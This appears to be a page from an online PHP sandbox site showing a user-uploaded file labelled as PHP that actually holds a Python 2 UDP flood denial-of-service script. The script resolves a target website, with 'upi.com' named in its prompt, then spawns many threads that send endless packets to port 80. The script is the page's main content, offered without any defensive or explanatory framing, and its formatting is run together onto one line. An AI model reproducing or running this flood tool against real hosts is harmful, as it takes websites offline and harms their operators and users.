Free - PHP Online

Form of PHP Sandbox

Enter Your PHP code here for testing/debugging in the Online PHP Sandbox. As in the usual PHP files, you can also add HTML, but do not forget to add the tag <?php in the places where the PHP script should be executed.



Your result can be seen below.

Result of php executing





Full code of Free.php

  1. import time
  2. import socket
  3. import sys
  4. import thread site = raw_input("upi.com => ") thread_count = input("Enter your thread => ") ip = socket.gethostbyname(site) UDP_PORT = 80 MESSAGE = "ViRus32" print "UDP target IP:", ip print "UDP target port:", UDP_PORT time.sleep(3) def dos(i):       while True:                           sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)                     sock.sendto(MESSAGE, (ip, UDP_PORT))                         print "Packet Sent"           for i in xrange(thread_count):    try:    thread.start_new_thread( dos , ("Thread-"+str(i),) )     except KeyboardInterrupt:                     sys.exit(0) while 1: pass
  5.  
File Description
  • Free
  • PHP Code
  • 23 May-2023
  • 570 Bytes
You can Share it: